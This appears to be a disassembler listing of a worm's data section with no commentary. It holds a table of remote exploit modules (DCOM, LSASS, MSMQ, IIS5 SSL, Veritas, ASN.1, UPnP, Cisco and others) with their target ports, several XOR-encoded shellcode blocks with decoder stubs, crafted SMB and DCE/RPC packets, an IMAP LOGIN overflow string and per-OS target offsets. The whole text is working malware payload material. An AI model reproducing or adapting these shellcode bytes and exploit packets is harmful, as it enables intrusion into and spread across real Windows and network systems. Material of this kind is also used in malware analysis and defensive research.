dword_43D81B	dd 0FFFFFFEDh		; DATA XREF: sub_40AC0D+5Dw
		db 0C3h
		dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h,	44B0AAF3h
		dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
		dd 0C3h, 0
; char aNetbios_0[]
aNetbios_0	db 'netbios',0          ; DATA XREF: sub_40BCF3+151o
					; sub_40C15B+51o
		db 2 dup(0)
aNetbios	db 'NetBios',0          ; DATA XREF: sub_40B553+30o
					; .text:0040C6D0o ...
		align 4
		dd 5 dup(0)
dword_43D878	dd 8Bh			; DATA XREF: sub_40274D+1BB0r
					; sub_40274D+1BD9o ...
off_43D87C	dd offset sub_4100AE	; DATA XREF: sub_40BCF3+1CDr
dword_43D880	dd 0			; DATA XREF: sub_40B3C5+2Eo
					; .text:0040C71Br ...
dword_43D884	dd 0			; DATA XREF: sub_40B690+1Er
dword_43D888	dd 0			; DATA XREF: sub_40B690+3AAr
dword_43D88C	dd 0			; DATA XREF: sub_40B690+285r
aNtpass		db 'ntpass',0
		align 4
		dd 544E0000h, 73736150h, 6 dup(0)
		dd 1BDh, 4100AEh, 4 dup(0)
aDcom135	db 'dcom135',0
		dd 43440000h, 31204D4Fh, 3533h,	5 dup(0)
		dd 87h,	40CC47h, 0
		dd 1, 2	dup(0)
aDcom445	db 'dcom445',0
		dd 43440000h, 34204D4Fh, 3534h,	5 dup(0)
		dd 1BDh, 40CC47h, 0
		dd 1, 2	dup(0)
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'DCOM 1025',0
		dd 5 dup(0)
		dd 401h, 40CC47h, 0
		dd 1, 2	dup(0)
aLsass		db 'lsass',0
		align 4
		dd 4F480000h, 534C2044h, 535341h, 5 dup(0)
		dd 1BDh, 40DC47h, 0
		dd 1, 2	dup(0)
aLsasscb	db 'lsasscb',0
		dd 4F480000h, 534C2044h, 2D535341h, 4243h, 4 dup(0)
		dd 1BDh, 40E220h, 0
		dd 1, 0
		dd 1, 7361736Ch, 35333173h, 4C500000h, 53534153h, 35333120h
		dd 5 dup(0)
		dd 87h,	4102B1h, 0
		dd 1, 2	dup(0)
aLsass445	db 'lsass445',0
		align 2
aPlsass445	db 'PLSASS 445',0
		align 4
		dd 4 dup(0)
		dd 1BDh, 4102B1h, 0
		dd 1, 2	dup(0)
aLsass1025	db 'lsass1025',0
aPlsass1025	db 'PLSASS 1025',0
		align 4
		dd 4 dup(0)
		dd 401h, 4102B1h, 0
		dd 1, 2	dup(0)
aWks_eng	db 'wks_eng',0
		dd 6B570000h, 63765373h, 676E4520h, 6873696Ch, 4 dup(0)
		dd 1BDh, 4113B7h, 0
		dd 1, 2	dup(0)
aWks_oth	db 'wks_oth',0
		dd 6B570000h, 63765373h, 68744F20h, 7265h, 4 dup(0)
		dd 1BDh, 41143Fh, 0
		dd 1, 2	dup(0)
aMsgsvc		db 'msgsvc',0
		align 4
		dd 654D0000h, 6E657373h, 726567h, 5 dup(0)
		dd 87h,	40E596h, 0
		dd 1, 2	dup(0)
aMsmq2103	db 'msmq2103',0
		align 2
aMsmq2103_0	db 'MSMQ 2103',0
		dd 5 dup(0)
		dd 837h, 40FB58h, 0
		dd 1, 2	dup(0)
aMsmq2105	db 'msmq2105',0
		align 2
aMsmq2105_0	db 'MSMQ 2105',0
		dd 5 dup(0)
		dd 839h, 40FB58h, 0
		dd 1, 2	dup(0)
aMsmq2107	db 'msmq2107',0
		align 2
aMsmq2107_0	db 'MSMQ 2107',0
		dd 5 dup(0)
		dd 83Bh, 40FB58h, 0
		dd 1, 2	dup(0)
aIis5ssl	db 'iis5ssl',0
		dd 49490000h, 53533553h, 4Ch, 5	dup(0)
		dd 1BBh, 40CF1Eh, 0
		dd 1, 0
		dd 1, 64626577h, 7661h,	65570000h, 56414462h, 6	dup(0)
		dd 50h,	410DA7h, 0
		dd 1, 2	dup(0)
aVeritas	db 'veritas',0
		dd 65560000h, 61746972h, 61422073h, 70756B63h, 65784520h
		dd 63h,	2 dup(0)
		dd 17D5h, 410BAEh, 0
		dd 1, 2	dup(0)
aAsn1http	db 'asn1http',0
		align 2
aAsn_1Http	db 'ASN.1-HTTP',0
		align 4
		dd 4 dup(0)
		dd 50h,	40F6D1h, 0
		dd 1, 2	dup(0)
aAsn1smb	db 'asn1smb',0
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40F6D1h, 0
		dd 1, 2	dup(0)
aAsn1smbnt	db 'asn1smbnt',0
aAsn_1SmbNt	db 'ASN.1-SMB NT',0
		align 4
		dd 4 dup(0)
		dd 8Bh,	40F6D1h, 0
		dd 1, 2	dup(0)
aUmpnp		db 'umpnp',0
		align 4
		dd 4D550000h, 506E50h, 6 dup(0)
		dd 1BDh, 4106C6h, 0
		dd 1, 2	dup(0)
aImail_0	db 'imail',0
		align 4
		dd 4D490000h, 6C6961h, 6 dup(0)
		dd 8Fh,	40D12Ch, 0
		dd 1, 2	dup(0)
aMersin		db 'mersin',0
		align 4
		dd 4E560000h, 6F6F5243h, 726574h, 5 dup(0)
		dd 170Ch, 41DDECh, 0
		dd 1, 2	dup(0)
aCisco23	db 'cisco23',0
		dd 69430000h, 206F6373h, 6E6C6554h, 7465h, 4 dup(0)
		dd 17h,	40C5C6h, 4 dup(0)
aCisco80	db 'cisco80',0
		dd 69430000h, 206F6373h, 50545448h, 5 dup(0)
		dd 50h,	40C731h, 14h dup(0)
aLsass445_0	db 'lsass445',0
		align 2
byte_43DF5A	db 1			; DATA XREF: sub_40274D:loc_404279r
					; sub_40274D+1B36o
aMsmq2103_1	db 'msmq2103',0
		dd 73610100h, 6D73316Eh, 62h, 1, 3 dup(0)
		dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
		dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
		dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
		dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
		dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
		dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah,	9912589Ah
		dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
		dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
		dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh,	1059AA24h
		dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
		dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h,	10A1DF10h
		dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
		dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
		dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
		dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
		dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
		dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
		dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
		dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
		dd 99h
dword_43E100	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: .text:0040CD25o
					; .text:0040CE62o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_43E150	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40CA2C+EBo
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_43E4B4	dd 20h,	0		; DATA XREF: sub_40CA2C+FEo
		dd 20h,	5C005Ch, 0
off_43E4C8	dd offset aWolk+4	; DATA XREF: sub_40CA2C+12Co
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 8
dword_43E508	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40CA2C+143o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_40CA2C+18o
					; sub_40CA2C+59o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrr_0	db ''
		db ''
		db '',0
dword_43E618	dd 10016C6h		; DATA XREF: sub_40CA2C+CCo
dword_43E61C	dd 100139Dh		; DATA XREF: sub_40CA2C+C3o
dword_43E620	dd 0E983C931h, 0D9EED9B0h, 5BF42474h, 2B137381h, 8313778Dh
					; DATA XREF: sub_40CA2C+3Co
		dd 0F4E2FCEBh, 5E9CE7D7h, 0EC8874C3h, 7FFCEDD4h, 56FCA90Fh
		dd 160B0617h, 98988C53h, 4CFC9564h, 5A9C8C0Bh, 12FCB9A0h
		dd 8AB7BCC5h, 67B70987h, 1EBD4C2Ch, 0E79C4F2Ah,	3B53D910h
		dd 4CFC685Eh, 759C8C0Fh, 983C81A0h, 0F8769174h,	9AFCA128h
		dd 726BA947h, 77ACBCE8h, 9847CEA0h, 63FC816Bh, 53FC2037h
		dd 9D1FD323h, 439B8365h, 40115BD4h, 2144E54Dh, 2104FA43h
		dd 0C388D974h, 0EF9A4643h, 0C588DD10h, 75920474h, 117F60AAh
		dd 0EC75E77Eh, 1AAEE5FBh, 0EC2020DEh, 4024DEFDh, 4034DE78h
		dd 0C388DE68h, 0D470E54Dh, 0F2FEDE4Dh, 9D3E5BEh, 0EC204A5Bh
		dd 4267E7FDh, 7BA7727Eh, 0FA59208Fh, 40A1727Ch,	7BA7727Eh
		dd 5AF1C4CEh, 43A1727Ch, 0EC22D97Fh, 0F41F1EFBh, 440E4B52h
		dd 0EC225BD4h, 771DEBFBh, 7E14E54Dh, 431D68A2h,	9ABBA472h
		dd 9A33E7CCh, 0E0B7BCC9h, 3E357381h, 805BCFD5h,	0B84FF7A6h
		dd 611F2680h, 0EC613ED5h, 0C588C95Eh, 4225DA70h, 121DDC7Ah
		dd 4222DC7Ah, 0BE1F5DD4h, 40B988F2h, 0EC1D5BD4h, 0C388BAD4h
		dd 908BDAA0h, 0C588E9EFh, 7BA77279h, 4C7307DBh,	0ECA17278h
		dd 13778DFBh, 2	dup(0)
dword_43E780	dd 2016280h, 100BDh, 8F160001h,	182h, 2	dup(0) ; DATA XREF: .text:0040CF45o
byte_43E798	db 0EBh, 25h		; DATA XREF: .text:0040CFCEo
word_43E79A	dw 0FAE9h		; DATA XREF: .text:0040CFB4o
dword_43E79C	dd 0F677D399h, 596C0602h, 1DF8596Ch, 0D18CDE9Ch, 3D4704Ch
					; DATA XREF: .text:0040CFC4o
		dd 53574658h, 32335F32h, 4C4C442Eh, 0E805EB01h,	0FFFFFFF9h
		dd 2CED835Dh, 6459306Ah, 408B018Bh, 1C708B0Ch, 8788BADh
		dd 8B3C5F8Dh, 8BFB011Bh, 0FB01785Bh, 11C4B8Bh, 24538BF9h
		dd 5153FA01h, 205B8B52h, 0C931FB01h, 99C03141h,	18B348Bh
		dd 0C231ACFEh, 0C084E2D1h, 0B60FF775h, 448D0945h, 39660845h
		dd 66E17510h, 585A1031h, 5250565Eh, 41104E2Bh, 4A0CB70Fh
		dd 188048Bh, 4DB60FF8h,	8D448909h, 94DFED8h, 4DFEBE75h
		dd 0FE177408h, 5D8D244Dh, 0D0FF531Ah, 26AC789h,	9458858h
		dd 0C794580h, 8B5082EBh, 93350445h, 89939393h, 8B660445h
		dd 35660245h, 89669393h, 89580245h, 53DB31CEh, 56535353h
		dd 0D0FF5646h, 5855C789h, 6A308966h, 0FF575510h, 458DE055h
		dd 55FF5088h, 0FF5555E8h, 448DEC55h, 53940C05h,	78652E68h
		dd 635C6865h, 3194646Dh, 0CC458DD2h, 57575794h,	0CAFE5353h
		dd 9452F201h, 5078458Dh, 5088458Dh, 535308B1h, 0CEFE106Ah
		dd 53535352h, 0F055FF55h, 55FFFF6Ah, 0E4h
aA01Login	db 'a01 LOGIN "&',0     ; DATA XREF: .text:0040D243o
		align 4
dword_43E8E8	dd 0E983C92Bh, 0FFFFE8B8h, 5EC0FFFFh, 0E00E7681h, 837C1F1Ah
					; DATA XREF: .text:0040D253o
		dd 0F4E2FCEEh, 31F4701Ch, 83E0E308h, 10947A1Fh,	39943EC4h
		dd 796391DCh, 0F7F01B98h, 239402AFh, 35F41BC0h,	7D942E6Bh
		dd 0E5DF2B0Eh, 8DF9E4Ch, 71D5DBE7h, 88F4D8E1h, 543B4EDBh
		dd 2394FF95h, 1AF41BC4h, 0F754166Bh, 971E06BFh,	0F59436E3h
		dd 1D033E8Ch, 18C42B23h, 0F72F596Bh, 0C9416A0h,	3C94B7FCh
		dd 0F27744E8h, 2CF314AEh, 2F79CC1Fh, 4E2C7286h,	4E6C6D88h
		dd 0ACE04EBFh, 80F2D188h, 0AAE04ADBh, 1AFA93BFh, 7E17F761h
		dd 831D70B5h, 75C67230h, 8348B715h, 2F4C4936h, 3F4C59B3h
		dd 14CFE5B3h
dword_43E9A0	dd 7D1F1A9Fh		; DATA XREF: .text:0040D210o
		db 86h,	72h
word_43E9A6	dw 0AE1Bh		; DATA XREF: .text:0040D222o
		dd 9D964986h, 85F37275h, 83487A4Ah, 2D0F7036h, 1ACFE5B5h
		dd 14797E8Ah, 2C757783h, 0F5D333B9h, 0F55B7007h, 8FDF2B02h
		dd 81968F4Ah, 8232581Eh, 69236A2h, 0D7B4B1D8h, 0CFE16888h
		dd 546AE5F6h, 2B44CC1Fh, 2D4E4BB2h, 2D4E1B8Ah, 0ACE04BB5h
		dd 79C6B788h, 0AAE0492Eh, 4BE0E58Ah, 9B77CA1Fh,	8366DC99h
		dd 0AAE01E95h, 83E36D1Fh, 0F6EF7230h, 834C45E4h, 7CCFE536h
		dd 0
dword_43EA24	dd 4EBh			; DATA XREF: .text:0040D2EDo
					; .text:0040D31Fo ...
dword_43EA28	dd 100102EBh, 0		; DATA XREF: .text:0040D2FEo
dword_43EA30	dd 100103BBh, 0		; DATA XREF: .text:0040D330o
dword_43EA38	dd 100108CBh, 0		; DATA XREF: .text:0040D36Bo
dword_43EA40	dd 100102D9h, 0		; DATA XREF: .text:0040D3A6o
dword_43EA48	dd 1001031Bh, 0		; DATA XREF: .text:0040D3D3o
dword_43EA50	dd 10010269h, 0		; DATA XREF: .text:0040D411o
dword_43EA58	dd 10010296h, 0		; DATA XREF: .text:0040D43Eo
dword_43EA60	dd 100102E2h, 0		; DATA XREF: .text:0040D46Bo
dword_43EA68	dd 100102E2h, 0		; DATA XREF: .text:0040D498o
dword_43EA70	dd 100102E2h, 0		; DATA XREF: .text:0040D4C5o
dword_43EA78	dd 100102E2h, 0		; DATA XREF: .text:0040D4F2o
dword_43EA80	dd 10010302h, 0		; DATA XREF: .text:0040D51Fo
dword_43EA88	dd 100249D4h, 0		; DATA XREF: .text:0040D54Co
dword_43EA90	dd 1001D9BBh, 0		; DATA XREF: .text:0040D579o
dword_43EA98	dd 100218E6h, 0		; DATA XREF: .text:0040D5A6o
dword_43EAA0	dd 10021782h, 0		; DATA XREF: .text:0040D5D3o
dword_43EAA8	dd 10021A51h, 0		; DATA XREF: .text:0040D5FDo
dword_43EAB0	dd 10021A51h, 0		; DATA XREF: .text:0040D62Bo
dword_43EAB8	dd 10021A62h, 0		; DATA XREF: .text:0040D781o
dword_43EAC0	dd 335B0FEBh, 0E98366C9h, 553380E0h, 0EBFAE243h, 0FFECE805h
					; DATA XREF: .text:0040D264o
		dd 0BB8CFFFFh, 0A171218Ch, 5F94D50Ch, 0AB98ABC5h, 15BCD598h
		dd 0B4AAh
aWe0wn		db '" "We0wn"',0Dh,0Ah,0 ; DATA XREF: .text:0040D278o
; char aI_2[]
aI_2		db 'ë'                  ; DATA XREF: sub_40DDD9+181o
					; sub_40DDD9+23Eo
		db 10h,	5Bh, 4Bh
		dd 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh, 70FFFFFFh
		dd 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h, 0F1123485h
		dd 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h,	0EEF19999h
		dd 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh,	7518607Bh
		dd 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h, 0D9C9D9C9h
		dd 8DCF66C9h
		db 12h,	41h, 0F1h
byte_43EB67	db 0E6h			; DATA XREF: sub_40DDD9+130o
		dd 0F1989999h
		db 9Bh,	99h
word_43EB6E	dw 4B9Dh		; DATA XREF: sub_40DDD9+120o
		dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh
		dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h
		dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh
		dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh,	0A86666F3h
		dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh
		dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h
		dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h
		dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h
		dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h
		dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0
; char aI_1[]
aI_1		db 'ë'                  ; DATA XREF: sub_40D7FE+159o
					; sub_40D7FE+216o
		db 10h,	5Ah, 4Ah
		dd 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh, 70FFFFFFh
		dd 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h, 0D9123485h
		dd 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h,	8DD71262h
		dd 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h, 0C6C091EDh
		dd 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh, 589A7848h
		dd 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh, 125A9A99h
		dd 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh, 0CB945F1Ah
		dd 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h
		dd 669BF398h, 411275CEh, 999B9E5Eh
dword_43ECE8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40D7FE+108o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_43EDD0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .text:0040DCBDo
					; .text:0040E296o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12		db ' LM 0.12',0
		align 10h
dword_43EE60	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:0040DCE9o
					; .text:0040E2C2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_43EF10	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:0040DD10o
					; .text:0040E2E9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_43EFF0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40D7FE+59o
					; sub_40DDD9+59o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_4:					; DATA XREF: sub_40D7FE+8Bo
					; sub_40DDD9+8Bo
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 2 dup(0)
dword_43F058	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40D7FE+2AEo
					; sub_40DDD9+2D3o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_43F0C8	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40D7FE+2D5o
					; sub_40DDD9+2FEo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_43F170	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40D7FE+3B4o
					; sub_40DDD9+3E1o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_43F1F0	dd offset loc_401490+5	; DATA XREF: sub_40D7FE+3E2o
					; sub_40DDD9+40Fo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407077+5
		dd 1, 0
		dd 1, 0
		dd offset loc_407077+5
		dd 1, 0
		dd 1, 0
		dd offset loc_407077+5
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_43F288	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40D7FE+30Ao
					; sub_40DDD9+337o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_43F2F8	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40D7FE+335o
					; sub_40DDD9+362o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_43F370	dd 0			; DATA XREF: sub_40D7FE+363o
					; sub_40DDD9+390o
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
dword_43F3F8	dd 0AD9Dh		; DATA XREF: sub_40D7FE+EAr
					; sub_40D7FE+41Er
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_43F438	dd 1004600h		; DATA XREF: sub_40D7FE+141r
					; sub_40D7FE+249r ...
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_43F4F0	dd 0EB5D03EBh, 0FFF8E805h, 0C58BFFFFh, 3311C083h, 0C9B966C9h
					; DATA XREF: sub_40E3B2+118o
		dd 88308001h, 0DDFAE240h, 7C036403h, 88086409h,	0C4608888h
		dd 1888889h, 0FE7774CEh, 0C606E074h, 0D9606486h, 1888889h
		dd 0BBE04ECEh, 0E08888BAh, 0D7BAFBFFh, 4EDE77DCh, 7770CE01h
		dd 25E074FEh, 60468D51h, 888889B8h, 775ACE01h, 0FAE074FEh
